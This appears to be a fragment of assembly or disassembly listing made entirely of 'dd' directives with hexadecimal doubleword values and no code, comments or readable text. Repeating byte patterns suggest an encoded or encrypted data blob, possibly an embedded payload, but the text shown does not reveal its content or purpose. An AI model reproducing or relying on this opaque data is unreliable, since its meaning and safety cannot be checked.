5DB122BFh dd 3172F56h, 0FE61EFCDh, 0EDCCBE2Dh, 0D4FDCA7Ch, 0EAB1CE18h dd 75B138BFh, 20FA8756h, 2F5AC9A6h, 0AE3B9A49h, 0A53A5256h dd 9B23E5D7h, 0D5D067D4h, 0EAB7DB56h, 0A6AA3256h, 1391B312h dd 5D483256h, 0A6595256h, 47B13256h, 0A014A9C3h, 54F6089Bh dd 9866C396h, 75D0680Bh, 0BAB1CB56h, 52B132AAh, 0AEB135D6h dd 56373D56h, 5EB13256h, 0D5B13ABFh, 0D12DC956h, 0B5655EFFh dd 42B13296h, 5D443256h, 0AEB1CE56h, 37B132AAh, 0ABB126BEh dd 8B74F256h, 0C26E9E1Fh, 6C1E3A2Eh, 0B275F8C6h, 9654B1ADh dd 5BEFCB6Dh, 57B1CA37h, 0ABBBDB36h, 0C55C3256h, 31A05FD9h dd 0BF98829Fh, 0A6348B30h, 0DDBE5237h, 0AEB1325Ah, 57B135BFh dd 0A1A5CB56h, 97D3E49Ch dd 0EAB132BEh, 9F306856h, 0BC1FA06Eh, 48303DAAh, 0CEB13256h dd 5C59CADDh, 0A9B13256h, 0E5C1996Eh, 642F19F2h, 14EE0A57h dd 0E534BFAEh, 52B79FC6h, 0AEB124D3h, 57A0DB56h, 0F50A3256h dd 0F03B2A31h, 3DA31684h, 0D0C8E6E5h, 33D818A7h, 0F3CA38D4h dd 0AEBFDB50h, 0FDB3256h, 2FA18E18h, 3B8E0651h, 6487916Dh dd 0EE33BFAAh, 4FB79D0Ah, 26A9B0DFh, 52D134F8h, 5EE1EBD7h dd 0A4D059AEh, 0D5B127DEh, 61D75256h, 75BADB95h, 63CE3256h dd 7DA54D9Dh, 7726C594h, 0B1595365h, 42B13265h, 0D5B13251h dd 6374CF85h, 9D817844h, 0BAB130D1h, 3933F5AFh, 0AEB79C2Ch dd 58B13256h, 0ABB135DDh, 8EE35256h, 8B71EFD6h, 4C47B336h dd 53BD82DBh, 5DB1325Fh, 28E18F39h, 32F6EEB8h, 0CBE35380h dd 0D5B13BBFh, 112E9656h, 958C2CEh, 7CD0CEDBh, 0F5A4E7D3h dd 2ED16450h, 0D6BE0D91h, 0ABB13250h, 0D5B1BE59h, 3D03256h dd 75B13242h, 0ADE0048Ah, 8DE93E64h, 2738D0Ch, 0FD472358h dd 0B0998AD1h, 7D09603Eh, 0E35952CAh, 78B13256h, 0AB71B935h dd 6F31806h, 0AEB126BEh, 0F7BEF656h, 0B3726B2Fh, 0D200E1A0h dd 99D6FDCDh, 774AEB59h, 0DBEA690Dh, 522487A9h, 28BE34FEh dd 57B1325Fh, 311F8936h, 33A2A85h, 9B34BF37h, 9CB7993Fh dd 0BAB13250h, 0F6230115h, 7E4E2014h, 59586436h, 1EB13256h dd 0F8FE6D51h, 6D48E52Eh, 0CD81B97h, 5BE6B76h, 0D8385380h dd 0A819159Fh, 57B13BBFh, 0BBF8B856h, 7BC3FAFDh, 0EEDB2AAFh dd 75B138BFh, 0BD55D56h, 0A6448F24h, 0C6822128h, 57B12256h dd 0A6F15AA3h, 63D13255h, 8B09848Fh, 8A49323Ch, 0BD343D86h dd 3DB13256h, 19BE5336h, 0BEEB5399h, 0ABB1325Eh, 6C849753h dd 0AB319EAAh, 0F1BEF25Dh, 0BAB1335Bh, 3933BBAEh, 52B79C2Ch dd 2D1BB0DFh, 0FDD134F8h, 0D5B13CBFh, 355E3D56h, 6095D963h dd 81A3F220h, 4EE24A1h, 0AEB3BC59h, 36D13256h, 0B73D3D37h dd 0B5B13256h, 0EAB122BEh, 1E227A56h, 0C5B6A772h, 5ADA9626h dd 342575B3h, 0EED76855h, 12D085FCh, 0D5B23F16h, 1349B9A3h dd 13D1F265h, 8E7ADCD7h, 3D1BC137h, 47E8E4D6h, 57B1325Bh dd 0C304C2A2h, 3D9C0DDFh, 75C4B2B6h, 80E353D4h, 4F44363Ch dd 5DA1323Eh, 14D75256h, 3FD0798Bh, 0ABB13656h, 0D5BCBB59h dd 0E2583256h, 0BDB13256h, 0CC9F145Ch, 0A5B7DF1Dh, 26BE323Ch dd 57B1324Fh, 0ABB6DB36h, 23973256h, 21840DB7h, 75B7DB3Dh dd 0A8563256h, 0ED2A77Eh, 6723CD37h, 0BEB79A71h, 0ABB1325Eh dd 1CFBD7B6h, 9EAD15F7h, 7C58CB0Ch, 0DAB13256h, 7751C02Bh dd 8E517A24h, 2AC7B0DFh, 42D134F8h, 0D5B13242h, 15D2933Bh dd 3D12871Bh, 1E6BD45Dh, 0C5E42D03h, 363566Ch, 0E4158B30h dd 0B8585337h, 75B13256h, 644073E8h, 0F179AF64h, 4782D6A9h dd 53A72633h, 0C8D17E8Dh, 5DE2C5D7h, 0D98D55E8h, 503A5328h dd 0EC1F4832h, 0F9BEF1AFh, 0BAB13251h, 5DB0B859h, 0CE483256h dd 6633F5AFh, 0ABB79A48h, 2CB17256h, 0EAA2DA36h, 0EC533256h dd 399F0F69h, 1591B78h, 21BECBD9h, 3BA60924h, 540B54FCh dd 5BBE6A59h, 0EAB13240h, 75B123BFh, 7DED9256h, 8194285h dd 0C6FACADh, 783257B4h, 6CD0A2EBh, 7DB853D4h, 0EAA13250h dd 75BDDB56h, 1E6C3256h, 194BF8D0h, 4E21FDD8h, 0AFD0EDCEh dd 0CB44CB95h, 0D5B5B959h, 1FD13256h, 0CF3A53AEh, 0BC1F4832h dd 5DBBBB59h, 0AB583256h, 0FB13256h, 86C7CA32h, 0DAB10DD5h dd 0EAB1EED2h, 70585256h, 59B13256h, 656BB084h, 0CFFDF0D6h dd 880A5236h, 5E9C26E3h, 0D5BDDB37h, 0CD013256h, 414095B3h dd 457A6B27h, 0DED0C773h, 0A1B32229h, 57B108D2h, 0D432CB56h dd 51BE3646h, 0EAB13221h, 75BBBB59h, 0B5D13256h, 950ECBE9h dd 0CF9E7292h, 58A5F5D5h, 0ABB133DAh, 4C58CB56h, 34ECDA9h dd 75B1325Ch, 0CCA416BDh, 0AA8A2096h, 694D6D40h, 57B02211h dd 0A0583256h, 16B13256h, 3790F319h, 53935178h, 7F58E120h dd 524ECDA9h, 0AEB12ADCh, 57A2DB56h, 3B0A3256h, 0DD6B40EAh dd 673E02F7h, 0F4BD630Bh, 93C91D0Eh, 55343D14h, 0CEB13256h dd 58668559h, 6CD0C5E9h, 0D5B22211h, 6FBE3256h, 75B1325Ah dd 0BAB7B159h, 0D2BE3256h, 0AEB13256h, 0A84E49BFh, 0AA3F3DA9h dd 2DB13256h, 0FA5853AFh, 49B13256h, 0F402C37Ah, 66032C73h dd 4D292601h, 94ED1B4Ch, 0ABBEDB36h, 8BF43256h, 1E504F9Fh dd 2AA3EEFDh, 9FFAFC36h, 5F303D5Fh, 0FEB13256h, 58E4530Fh dd 0ABB133DBh, 393AC756h, 5DBE52AAh, 73373D96h, 0B5B13256h dd 5DB132D0h, 5BD15356h, 57B132BEh, 41306856h, 0D31FA57Ah dd 0E2585236h, 9BB13256h, 8A562D81h, 0B48089C3h, 0AEB13251h dd 4F778832h, 0CAF24FF5h, 1250B330h, 0E5D153FBh, 75B134D6h dd 0BA303D56h, 0B4B13256h, 0AEB1325Dh, 9FE35D95h, 84F4E745h dd 0B4C8CDB9h, 971380DDh, 0FE4834F8h, 0AB583A13h, 54B13256h dd 0AAC8271Fh, 0E68CFAFAh, 1FEA5F1Fh, 0A80DA3A4h, 63BE34DFh dd 75B1324Ah, 0BA313D36h, 0B5B13256h, 0AEB13258h, 0F90A7EDCh dd 9DC9E4B6h, 0CB974853h, 8BEF3D9Bh, 813B0D5h, 0DAB534F8h dd 5DB13CBFh, 0D007F056h, 394F6CF6h, 13171C80h, 3C341917h dd 0EAB1325Eh, 8190346Dh, 66D0853Dh, 3DD0CE37h, 0DAB768ECh dd 58D15337h, 0ABB133D5h, 6BD7C756h, 23D04FC4h, 75B13DBFh dd 0B5704756h, 0AC270131h, 0EF4AE423h, 0A7648652h, 5EB13694h dd 91035236h, 1C305237h, 742B8864h, 0B158C736h, 2BB13256h dd 33035205h, 0BB66471Eh, 0CAD03062h, 0D5B132BEh, 306856h dd 731FAA62h, 703A5436h, 0D649CE37h, 0CC44E4h, 0D74D5250h dd 90D0F6BEh, 7BCC90E4h, 0FF353D50h, 8DB13257h, 31480CDDh dd 0EBBECE89h, 58493319h, 58313311h, 0ABB11CD3h, 0D5BBDB56h dd 170B3256h, 1B9AA6B0h, 52D7F5EFh, 0A544EB55h, 0AEB11EBFh dd 57B7DB56h, 22EE3256h, 4D3C5222h, 0EAB4BE59h, 15D13256h dd 91D0CB37h, 5DBEDB8Fh, 0F1033256h, 0DD739796h, 0EDE487B1h dd 368FC1E4h, 0A9487176h, 97305436h, 4E0E5184h, 3CC700C0h dd 0A68CB7DDh, 0D0BE34FEh, 0ABB1325Ch, 0D5B137BFh, 0E3B17F56h dd 0F83AC763h, 0BC191903h, 3E05236h, 954D5337h, 68333D8Eh dd 0A4B13256h, 0D5B133DCh, 338ACA56h, 7581B559h, 0BF583256h dd 97B13256h, 0DF2E48A2h, 0AEB5F4D5h, 544E0CBFh, 0C65852A9h dd 39B13256h, 32EE3D1Fh, 97A2B298h, 6ACE9622h, 0A1C6E3A2h dd 0E8BE02EBh, 648A53A4h, 0D58BB659h, 0FA583256h, 95B13256h dd 14557E3Bh, 7DFA392Dh, 427D31C5h, 58D1A88Dh, 0ABB133DBh dd 6838CA56h, 0EC191903h, 0BD3A5436h, 4450DB37h, 5458CDA9h dd 19B13256h, 0B4D3A3F6h, 0D59CFF72h, 57BE5237h, 0EAB13252h dd 9DFF8D30h, 0DB70F9D6h, 5DB6BD59h, 0C8D13256h, 1AE0E4D7h dd 2AD1F137h, 9B15D4A6h, 52D75237h, 14448813h, 0BABADB37h dd 620F3256h, 3F46DE5Eh, 8B32D6D9h, 12D1529Ch, 0A1CD6673h dd 0EA373D07h, 2EB13256h, 0BAB1DA37h, 0DCEB3256h, 28F3BCh dd 31E75250h, 0D95FECD7h, 0D3B5208h, 0D0B0D5D7h, 14D027FFh dd 3BD75236h, 0DDA5B2B8h, 24D0F096h, 0ED3A539Eh, 0AD1F4F20h dd 8879B336h, 5FEF452Eh, 0CC4953FAh, 0BAB13356h, 5DB138BFh dd 42EDE556h, 8C0B011Dh, 98C88B0Eh, 0D9323D96h, 0E5B13256h dd 75B134D8h, 0BA363D56h, 0AEB13256h, 25D752FDh, 0DCD0C795h dd 5CC44D4h, 0D5BBDB50h dd 3ADD3256h, 0A345F4B8h, 834A9C32h, 2013B0DFh, 0BC5834F8h dd 5FB13256h, 2C0B350Ch, 5A15765Eh, 0B7E839E7h, 0BA441B93h dd 0BAB8DBC7h, 56923256h, 9582C865h, 36539EA0h, 0ABB0B259h dd 16493256h, 0E54852AAh, 75B13ED5h, 0BAB6DB56h, 83423256h dd 0C11FA22Bh, 57B1DA01h, 2AEB3256h, 7B2BBFBCh, 61D75250h dd 75A1DA85h, 48D43256h, 3C2576AEh, 0A6A9475h, 816E4862h dd 0EC0EC03Bh, 8CC6DD47h, 0E3585237h, 6B13256h, 5CD4251Ch dd 0F204D39Ah, 7B34F437h, 1B79A43h, 0C6885AA3h, 2A4DE649h dd 42BEA7E3h, 7A393D50h, 53B13256h, 5DB1325Ch, 0F9D7FE6Bh dd 6B1628CFh, 2E3CA81Eh, 0D31A5B27h, 0EAB13EBFh, 0C7F8C56h dd 0EF396799h, 5F2AAE0Dh, 7E4ECBEDh, 52383D36h, 0CDB13256h dd 9088E4D7h, 0EAB2BF59h, 0FED73256h, 53E353ACh, 5DB13259h dd 0F21531BDh, 655C8D3Dh, 472646Ch, 8589B57Ch, 6AB15AAAh dd 1F443256h, 0BAA5DB56h, 2F033256h, 28AE4276h, 0ACA99C15h dd 0B68BF125h, 28C022D9h, 584EC37Dh, 731F4832h, 63305436h dd 8530706Fh, 0B333E6C2h, 5861CD37h, 0ABB139DBh, 22305256h dd 0E90336DFh, 1476B930h, 0EBD1520Eh, 3C4BB90Fh, 5B496837h dd 5731323Eh, 0AC363D56h, 0DAB13256h, 0EAB133D5h, 75DBC756h dd 0CC03CDA3h, 3DB79C2Bh, 0AEB1B759h, 0E9D73256h, 54D01A59h dd 2DD0CA86h, 66BE5295h, 75B13253h, 0C16BB330h, 5DB6DB54h dd 0C5633256h, 358991B3h, 0CBE45392h, 0D5B135BFh, 0AB2D5B56h dd 0FBE39FF1h, 0E06BB905h, 5DA3DB37h, 0A083256h, 16BDA374h dd 0D62E2461h, 0BE130331h, 0C1238143h, 25D1DEDDh, 0DAD0CE0Eh dd 5DB1DAAFh, 2FEB3256h, 0F92D37BCh, 0ABB7DB50h, 5BB93256h dd 532B989Dh, 0F4D75236h, 0DB3AC290h, 5DB137BFh, 0D8332456h dd 58D03341h, 0ABB133DEh, 0A03ACA56h, 0EC3D3D5Eh, 15B13256h dd 0E3E06C00h, 5312DA37h, 23BE3256h, 57B13240h, 0ABB123BFh dd 0A9240156h, 0F9D2E7EFh, 9FC7CDD0h, 93C7BE28h, 0A8E48F16h dd 0D5BBA0A9h, 37D134F8h, 3047B330h, 27063D38h, 68BE6037h dd 75B13256h, 0A958530Eh, 0B0B13256h, 96064EBDh, 2C09E250h dd 3E1BDE7Bh, 0D9BCDD3Bh, 8AECC0CBh, 1CCEC1D7h, 6D303FCEh dd 6F100597h, 0A2C40937h, 0A822B759h, 0A4D1CDA9h, 0D5B134D4h dd 0EA373D56h, 14B13256h, 0BABF1ABEh, 52D0C756h, 0AEB120D8h dd 57BCDB56h, 0A8243256h, 61F4EAF8h, 3EB37862h, 0BC2BEDD8h dd 0BAB13FBFh, 0A6F29B56h, 26993DEAh, 34E92758h, 0A3737F72h dd 0DAE4CB56h, 0EAB13AD0h, 77383D56h, 0DAB13256h, 0A15DB937h dd 0A14DF6D5h, 57B134D0h, 0CD485256h, 83D0E3DDh, 0EB3C3D36h dd 80B13256h, 6076B330h, 0B4E65383h, 0AEB1325Fh, 5F50FBDCh dd 872C9CB8h, 0D35861D6h, 0E3B13256h, 0FDBC01A2h, 0BAB1DAABh dd 0DCEB3256h, 2C73BCh, 57A0DB50h, 1BE93256h, 0DB7F7F58h dd 24447CD5h, 5493E690h, 4291BFAEh, 52B947DDh, 0AEB139D8h dd 57B7DB56h, 12173256h, 0D001A799h, 0E5A14FDDh, 75B13CD3h dd 36BE5256h, 5DB13256h, 0AEB1B259h, 0BED03256h, 0ABB1325Ah dd 0A5AA7201h, 0EE24816h, 820CE651h, 0B2323D01h, 3DB13256h dd 0AEB1B959h, 1D03256h, 0D0552AEh, 3DD00CE1h, 0EAB133BFh dd 0E050B236h, 0DBD7D3D6h, 0D9BEF25Dh, 0AEB13364h, 0A70E3D36h dd 0ABB1BC59h, 0B5D03256h, 0EAB123BFh, 0A559CF56h, 44116C5Ch dd 0D135856Eh, 7D7B7BC2h, 5159C753h, 69B13256h, 4FDBC1E8h dd 61D06AAFh, 63353DAEh, 0DAB13256h, 0B470B930h, 0AEB1325Ah dd 8E512549h, 5A6BE7D0h, 46A2ECA7h, 0E5586737h, 0CBB13256h dd 0CEEEF44Dh, 7F5B50B8h, 2C6B5E31h, 0C54E16C4h, 0AD1F495Ch dd 0D5B121BFh, 52891B56h, 0ABA2E9C5h, 576DEECBh, 0E9EE3417h dd 62882650h, 31E1520Bh, 5DD4D8D7h, 0D53D3D08h, 8BB13256h dd 7ABD476Dh, 0BAB1ABD2h, 52D15256h, 0AEB132D4h, 0BE305456h dd 0CBD0AD07h, 0B4D0CEAAh, 0EAA2B959h, 7B583256h, 0C8B13256h dd 920E8A3h, 0C447E3D3h, 7A5159F9h, 0B53A54A5h, 2556B2AAh dd 0EAB126BFh, 0C8663E56h, 0C181BFDEh, 8BD2B033h, 7B98D79Fh dd 0C25D54C5h, 5EAFB809h, 2041D1D6h, 0CE24DAAAh, 70583256h dd 0C2B13256h, 0BA6FAFD6h, 514FE1BFh, 314952A9h, 0CAE72FEFh dd 0D8595236h, 42B13256h, 13A06C0Bh, 0F73594D4h, 5D7ADE8Ah dd 0AE363D0Dh, 36B13256h, 1978B336h, 6A8B8A84h, 0A002C4F4h dd 8385337h, 3BD752AAh, 3BE0B380h, 0CF57EEE9h, 0A847F0BEh dd 0A2373DA9h, 0B5B13256h, 87DB77EFh, 1477B94Fh, 523B520Dh dd 5DB126BEh, 6C9356h, 2228EAC4h, 0F1CE63B8h, 3650C032h dd 0BE5FFCBBh, 75A5DA2Eh, 0F3133256h, 449057AEh, 0DAAF3DD4h dd 0B4412009h, 326B264h, 8AE967E4h, 0E5485237h, 2AD0E2E1h dd 0BAB139BFh, 4C50A256h, 441B0951h, 0CB113EECh, 0ABB9DB08h dd 2ACD3256h, 1D3D87FAh, 303A6067h, 0AB5852AAh, 0D1B13256h dd 0F78EA71Ah, 0BC27EF8Fh, 0C5452CD9h, 44B7197Ah, 284DFB37h dd 0FDBE325Ah, 0BAB13257h, 0D3BE67AAh, 0AEB13257h, 0A25DB9AFh dd 5375B1AFh, 5E4D5236h, 0EC58539Ch, 7CB13256h, 0F063E932h dd 0A4E653A6h, 0AEB0BB59h, 1443256h, 0F84963AEh, 2957B236h dd 0AF7653AFh, 75B132AEh, 0B73C3D56h, 3DB13256h, 7E900EEEh dd 0F346B357h, 0CAAF52EDh, 0A90AB091h, 0EAB034F8h, 7B583256h dd 0BCB13256h, 0EC0CA451h, 71C80C9Fh, 1A27E509h, 0A3C4B930h dd 0D5B13EBFh, 0E6788D56h, 70E9754Fh, 84C23A7Ah, 433A5435h dd 0AEB13EBFh, 1F6E3E56h, 235C7F71h, 0B458FD8Bh, 8E0BB988h dd 89B79C2Ch, 0BAB0BB59h, 0D6493256h, 0A7583A09h, 0F0B13256h dd 0BDF14E10h, 0E09A63B4h, 6EBEE95Dh, 75B132D7h, 48063D36h dd 2F0E5400h, 95D06B0Ah, 48343D88h, 42B13256h, 0D5B13244h dd 1E541026h, 3DC8B3D9h, 4864DCE7h, 1046AADEh, 0F33A44EBh dd 838CE5Ah, 6C32CA5Ah, 0D5B6DB42h, 77A63256h, 3044CD4Dh dd 4510DBD9h, 0D7BECDA9h, 0AEB13276h, 57323D36h, 43B13256h dd 0D5B13244h, 1686DD7h, 3E40467Eh, 0FCD8350h, 0BA59F80Ah dd 0CFE8E9B5h, 57B122BFh, 4D021B56h, 10DCC9A4h, 3E47816Fh dd 4305FD04h, 0A43A54CFh, 3B44B836h, 2ED0F8DDh, 0D3BEDAADh dd 0ABB13161h, 0A8F28836h, 6AD02F3Fh, 0F1BEDBADh, 0BAB13171h dd 0B64AB2A3h, 0ADACB659h, 0BE483256h, 0ABB1325Ah, 0E10C99B5h dd 0DB558CBh, 4DFEF6C9h, 0B553C9D6h, 5DB3C2D2h, 48305256h dd 6863D057h, 484AB237h, 0D776B659h, 60BE3256h, 75B1325Bh dd 0BAB13ABFh, 4B322456h, 86BB70A5h, 0AC30542Bh, 2FBED131h dd 0D5B13097h, 0EAA7BD59h, 0FABE3256h, 0BAB13246h, 5DB139BFh dd 0CA67C656h, 0E88C9F8h, 0DE53E055h, 0B541D5D6h, 8CD1ECDCh dd 136F6BEFh, 0DBD0CCDDh, 524AB330h, 32353DD6h, 37B13254h dd 0ABB122BEh, 152A1856h, 0D0AB4857h, 2D443AB8h, 22A06A15h dd 4362B360h, 0F7DA8A62h, 0D7D0E5DDh, 2B4DC2B5h, 51BE42ADh dd 0EAB13039h, 6B3A54A3h, 0BAB139BFh, 70571656h, 12FAA5BFh dd 4EB4ED29h, 5E49D1D6h, 0DA09C9D6h, 0EAB069D2h, 0F4D75256h dd 0AF6969Ch, 633153D8h, 0E7353D53h, 0BEB13257h, 0ABB1325Dh dd 6E6AC9D6h, 96127B19h, 0F503DA59h, 3EBE1F68h, 5DB13366h dd 0AEB0B659h, 0D74D3256h, 2FBE5A68h, 0D5B13376h, 0EAB137BFh dd 0CEA25456h, 384EFA91h, 5B1F4EEDh, 2FD752AAh, 0D6C6B289h dd 0E0F59FA1h, 5ED7536Eh dd 38315248h, 96305455h, 3AD0EDADh, 5758CAB1h, 0D7B13256h dd 0C4EC7512h, 3DE4B78h, 58BE52ECh, 0EAB13254h, 7F585336h dd 0B6B13256h, 1F6866A3h, 66BE6E3Eh, 0D6D753D0h, 0A459B3ADh dd 0D5B18DD2h, 61D7CB56h, 743D3D48h, 4FB13256h, 820E3D36h dd 0B0D48C36h, 59580F79h, 50B13256h, 46BAF1C4h, 880B7A0Ah dd 0A19AB8A8h, 3AD053E7h, 4E58C2B1h, 0EB13256h, 81DFCC08h dd 0EA099478h, 0DDBFB77Dh, 0D13671C3h, 0F4D7297Ch, 0B571B3ADh dd 5DB15DD2h, 2EBE5256h, 57B13250h, 1CDECD7h, 1C0A1EDFh dd 8BBB0139h, 74313D36h, 46B13256h, 5C323D03h, 52B13256h dd 2CBBA0A9h, 42D134F8h, 0D5B1325Ch, 3D9BED88h, 0CD69B9EDh dd 57314365h, 4D534Ah, 0AEB6B659h, 0E7D13256h, 9A79B297h dd 29F4BB37h, 0EAB13ABFh, 5FCD6256h, 0CD7924E0h, 0DE4453FAh dd 0A1B0CE2Bh, 57B0C8D3h, 0AA3E3D56h, 20B13256h, 0F48088DDh dd 0F2BE34FEh, 0BAB13257h, 5DB9DBA3h, 0FEF73256h, 1AD8D75Fh dd 52E15FB9h, 0A90AB0DDh, 0E35834F8h, 24B13256h, 3344A953h dd 89E588B4h, 47810E6Fh, 57B13258h, 7DCE4F31h, 8497659Bh dd 0A2A9A731h, 7AE93BB0h, 0BAB094D4h, 0E73ACA56h, 0A8193B37h dd 55303D36h, 20B13256h, 0CA048888h, 0BAD07AF2h, 0C3445236h dd 0B75953E9h, 3BB13256h, 448D9B3Dh, 431ADEEAh, 0BE72B6DAh dd 573A5309h, 0EC1F4EEDh, 458D0BAAh, 0BABDB259h, 5A583256h dd 0ECB13256h, 22A79F55h, 0F349E583h, 0D4E0BD59h, 3443256h dd 75B1325Fh, 3886AF0Dh, 0AD8C335Bh, 0AE8CDB52h, 59583256h dd 21B13256h, 51EAEF6Ah, 1387EB6h, 3836472Eh, 42F4F51Bh dd 5DB13254h, 0AEB137BFh, 0D10E056h, 4248ED20h, 0D5B13245h dd 12F4F5A3h, 75B13257h, 0BAB134BFh, 1BB30E56h, 2544AF37h dd 0F9CB56ECh, 0B43AC750h, 0D5B13BBFh, 36353556h, 0EFEF96A3h dd 61BABE43h, 5D50B659h, 0BC583256h, 12B13256h, 8222F441h dd 5E0EEBCDh, 0C280DFDAh, 4AC50C1Ch, 0B56F0978h, 5DB1B3D3h dd 2544CB56h, 0D8BE3E0Bh, 0ABB1324Eh, 0D5B121BFh, 0D65E6456h dd 0F3AC0926h, 47717507h, 10F794F2h, 0A2DBE740h, 57494FD5h dd 0AB94B659h, 5CBE3256h, 0EAB1325Bh, 75B13ABFh, 0FC805156h dd 0DDCFA480h, 0A6313D35h, 58B13256h, 0ABB130DAh, 0D6D05256h dd 6348CA0Bh, 0F5BE3609h, 0BAB1325Bh, 5DB7DB36h, 0B6EA3256h dd 0D46B3D48h, 0ABA5DB37h, 848B3256h, 1DC710C5h, 4003FA3Dh dd 9C0D7636h, 9645F3EEh, 69321A5Eh, 0E2D15242h, 0A758531Eh dd 26B13256h, 0EF25FA5Bh, 2F69BF76h, 0DBE884E1h, 0A24E1BBFh dd 0A33F3DA9h, 37B13256h, 0ABB1B559h, 1C0E3256h, 8B96FEDFh dd 9C48F265h, 0BAB13627h, 5DB0B059h, 0C84D3256h, 0D7D12CDDh dd 0CDE7F58Fh, 0B4EAF8DDh, 8ABD4FDDh, 0BA25D9D7h, 0B6586CACh dd 7BB13256h, 0A4276897h, 0CF91F872h, 0CADE4C49h, 3E4AB2AEh dd 0EAEAB659h, 0F5BE3256h, 0BAB13259h, 5DB138BFh, 5F0D5756h dd 82D456F5h, 2B3BDFD1h, 0DAD1C2B5h, 6AD0CBE9h, 0F1BE42ADh dd 0BAB132CEh, 5DB13DBFh, 0E538DE56h, 0A251D128h, 0ADBFE996h dd 0E06DF608h, 0EAB025BFh, 633F3D56h, 53B13256h, 5DB13247h dd 25E18A89h, 0A3DC6AC9h, 0C92092E1h, 0F87C16B5h, 3B6F428h dd 75A0DB36h, 164E3256h, 6C46BEE3h, 0A6C3D804h, 0B0E0941Fh dd 0FDF1F694h, 0B4E85336h, 0EAB07591h, 9CB13256h, 0BAB13242h dd 0E868F3C1h, 61EEB5C1h, 9EA2D8Dh, 64A31ED1h, 21C22C22h dd 0F958F5DDh, 13B13256h, 4EC897A7h, 0BAB1B975h, 30CF5E1Dh dd 42F565BDh, 6B329F40h, 0AF58CA53h, 16B13255h, 7AB6F530h dd 0B6343D5Eh, 52B13256h, 0AEB134DDh, 57383D56h, 21B13256h dd 0D5BCDB48h, 0EC363256h, 154B9CE3h, 0B9471C5h, 0DD2F8197h dd 0A1D13DB5h, 57B131D3h, 65063D56h, 0DB393D37h, 8AB13256h dd 9F7BEDD7h, 33BE3A43h, 5DB13256h, 2E7AB237h, 57B13DBFh dd 0B67C2656h, 8D988CEEh, 0A66CED91h, 5F2BF722h, 53B06DDEh dd 5DB13247h, 7F268DC3h, 0C5A5B3E6h, 0E100FE40h, 1F346D4Bh dd 0E8F6F5F1h, 75B13256h, 0BAB0B059h, 0D6493256h, 6E32CE91h dd 0B558CE50h, 52B13254h, 458FB330h, 8A353DC6h, 8CB13256h dd 3BD76036h, 69AF599h, 0EFBBF8ECh, 69315311h, 0C3343DC6h dd 2CB13256h, 15CFB330h, 0F1BEA2C6h, 0BAB1326Dh, 0BB0F5436h dd 0FE585345h, 58B13256h, 0ABB13FDFh, 0D5B9DB56h, 5F7B3256h dd 24512D6Ch, 0EAD1A04Fh, 7B73B330h, 0A15869C7h, 58B13256h dd 0CB35E990h, 82EF59EBh, 0BB89FA17h, 0FED099D7h, 0D458CE91h dd 0B4B13254h, 0AEB13245h, 955A594Eh, 1A085276h, 3C621C5Bh dd 14F2E45Bh, 0F8982D2Fh, 14CCE3D4h, 47383D50h, 0CEB13256h dd 0BE84EAD6h, 0ABB13246h, 7200C1CDh, 856B810Bh, 6DD8E495h dd 9846D5BAh, 0B446237h, 0FD085436h, 0A7A28C02h, 54D064EEh dd 7BCA2AC4h, 2ABAC750h, 7587B659h, 30BE3256h, 5DB1325Bh dd 65305436h, 0D7BEEBE6h, 0ABB13256h, 0B579B937h, 0A96FB330h dd 0F8D0CECAh, 14CCE3E4h, 5C3B3D50h, 52B13256h, 57B143BFh dd 0AA333D56h, 20B13256h, 38305200h, 156F71F2h, 31D0C1DDh dd 52E35298h, 0AEB132D3h, 0DCD76B56h, 0A4E4538Fh, 0D5B133DDh dd 784EC756h, 731F495Ch, 3EBE6FA3h, 5DB1325Dh, 0AEB134BFh dd 0FF0BFC56h, 8008C689h, 30315298h, 8B43B987h, 25D1EBA1h dd 0E446B930h, 5DB3B759h, 0F6E33256h, 0DDBE6C37h, 0ABB13258h dd 0D5B13BBFh, 2F651D56h, 0AE773D6Ch, 0C73252D2h, 0D8BE33AEh dd 0AEB132F0h, 57B0B159h, 1B493256h, 0D83D3D1Fh, 8AB13256h dd 286AB330h, 0DE72B39Bh, 3CA71DB4h, 0F9085436h, 57BFDB52h dd 4F873256h, 7742C4AEh, 9553DEF3h, 1EE27DB3h, 53D19837h dd 5DB13251h, 78C5B520h, 0D622AAB2h, 3D410589h, 6DD75332h dd 0E058B759h, 7CB13256h, 0F53FF6D6h, 375E2B4h, 561A54ECh dd 56F78459h, 0ABBFB559h, 0DAD13256h, 0EAB132DDh, 0B17FB356h dd 0DBDB6B04h, 5DA5DBFDh, 0D49D3256h, 0F55F8631h, 0A53FE744h dd 5DA74415h, 0C52D1D0Ah, 0BA58360Ah, 53B13256h, 5DB1325Ch dd 0EC0EE875h, 95D95A08h, 0D6325AB9h, 50BE30AEh, 0EAB132E5h dd 75BABC59h, 0B5D13256h, 0B630F3E1h, 0FFAD5182h, 5C095437h dd 0AA3D3D9Fh, 20B13256h, 0E51A54AAh, 75B137D0h, 0EA485256h dd 0E5D7530Eh, 0BE58B659h, 7EB13256h, 0FAE6DC75h, 38F99790h dd 0BD8F4D83h, 1300D7F7h, 0AB5852FDh, 2B13256h, 0D2DF760Ch dd 3AFDD7Eh, 1CF5DBFEh, 894EDE26h, 644C8A30h, 33073D37h dd 0B0353D57h, 3DB13256h, 6930E2DDh, 57864CAh, 21BE9937h dd 0D5B1324Fh, 0EAB126BFh, 2F378656h, 764FFE43h, 0B9B543CFh dd 0AE1734F0h, 919CB7FEh, 0ABADDBDFh, 6AD13256h, 96DA3F09h dd 0BD5DDAD7h, 0DAD05E13h, 5DB3BD59h, 593A3256h, 0A4D0E4DDh dd 6C3ACAF2h, 57BE69AAh, 0EAB13251h, 0B43A5436h, 0E3D0E3DDh dd 0DCD16CAAh, 254F048Ch, 84D6401h, 2EBE6D37h, 0D5B1325Ah dd 0EAB7BA59h, 0F3BE3256h, 0BAB13256h, 0B4E1529Fh, 0AEB13258h dd 845D9645h, 0C2C82291h, 1F51E0FFh, 0E5E80262h, 75B131D7h dd 750E3D56h, 5DBEDB37h, 8B43256h, 39DD69D3h, 9CCC5D22h dd 78341AB4h, 0EAB9F06Eh, 75B137BFh, 0FEB4B256h, 52E45615h dd 0AEB133DFh, 0BB3ACA56h, 0ABBBB559h, 5ED13256h, 0EA3A3D8Fh dd 14B13256h, 0BAB121BFh, 1076D456h, 8690405Bh, 5C43E48Ch dd 0E25B6176h, 0BEAA9BE6h dd 0E158CB36h, 0CDB13256h, 6B002727h, 0A487E6DCh, 0AE59B006h dd 0DB13256h, 1FBD8D7h, 3CD134F8h, 0EAB1325Fh, 8FCCAA88h dd 46E99A0Bh, 5DA2DB8Bh, 9A003256h, 2C6D10E7h, 